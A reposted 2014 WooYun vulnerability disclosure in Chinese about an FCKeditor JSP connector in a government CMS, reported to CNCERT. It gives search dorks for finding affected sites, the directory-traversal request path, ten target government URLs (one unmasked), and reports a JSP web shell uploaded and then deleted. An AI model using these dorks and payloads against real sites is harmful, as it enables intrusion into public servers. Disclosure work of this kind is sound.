[公开漏洞]某政府类CMS通用任意文件上传+目录遍历

来源：WooYun　浏览：727次　时间：2014-06-27
做网站找雨过天晴工作室
某政府类CMS通用任意文件上传+目录遍历 相关厂商： Cncert国家互联网应急中心 漏洞作者：U神 提交时间：2014-03-28 12:58 公开时间：2014-06-26 12:58 漏洞类型：文件上传导致任意代码执行 危害等级：高 自评Rank：15 漏洞状态： 已交由第三方厂商(cncert国家互联网应急中心)处理 漏洞来源：http://www.wooyun.org Tags标签： 无 漏洞详情 披露状态：

2014-03-28：细节已通知厂商并且等待厂商处理中
2014-04-01：厂商已经确认，细节仅向厂商公开
2014-04-04：细节向第三方安全合作伙伴开放
2014-04-11：细节向核心白帽子及相关领域专家公开
2014-04-21：细节向普通白帽子公开
2014-05-11：细节向实习白帽子公开
2014-06-26：细节向公众公开

简要描述：

详细说明：

#1.今天是改善Gov安全的第五课！------该CMS主要是存在一个JSP的Fckeditor导致了任意文件上传，并且毫无限制地存在目录遍历，想看什么就看什么~关键字比较难构造，如下：



inurl:u***es inurl:index.jsp

inurl:do***?siteid





#2.根据该关键字可以发现，存在大量的这样的政府网站~

QQ截图20140623191817.png



其漏洞主要表现在Fckeditor的编辑上，地址如下：

fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector



以下枚举十例，【注意】仅提供给Cncert进行复现测试，其它人员请勿对提供的网站此进行利用或破坏，否则后果自负!：

http://www.wuzhi.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector

http://eqrsj.***.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector

http://www.j***o.jcy.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector

http://www.s***u.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector

http://cjl.***i.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector

http://www.***.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector

http://www.e***k.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector

http://***j.***i.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector

http://www.***g.com/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector

http://jsj.***i.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector





以上十例主要都是市级以上的政府单位！所以要注意自己的举止！为防止漏洞被利用，请Cncert紧急通报以上说的十例先修复该漏洞！

漏洞证明：

#3.以最后一例子来做测试，我们看看Fck编辑器带来的危害！可泄漏大量敏感信息！危害可想而知！看下面的图，完全可以遍历网站所有目录内容，包括一些敏感的文件信息！

QQ截图20140623191817.png





#4.测试是否能成功上传JSP脚本，成功上传zone.jsp

修复方案：

PS:以上测试为证明漏洞危害，Shell已删除，请勿跨省，改善Gov安全，是我们白帽子的职责！原来我终于知道为什么中国那么多政府网会被外国黑客黑了！原来是这么简单！例如由某生产厂商提供自己写的CMS然后给批量的政府网安装，而该CMS存在一个漏洞导致所有网站沦陷！

版权声明：转载请注明来源 U神@乌云 漏洞回应 厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-04-01 22:27

厂商回复：

最新状态：

暂无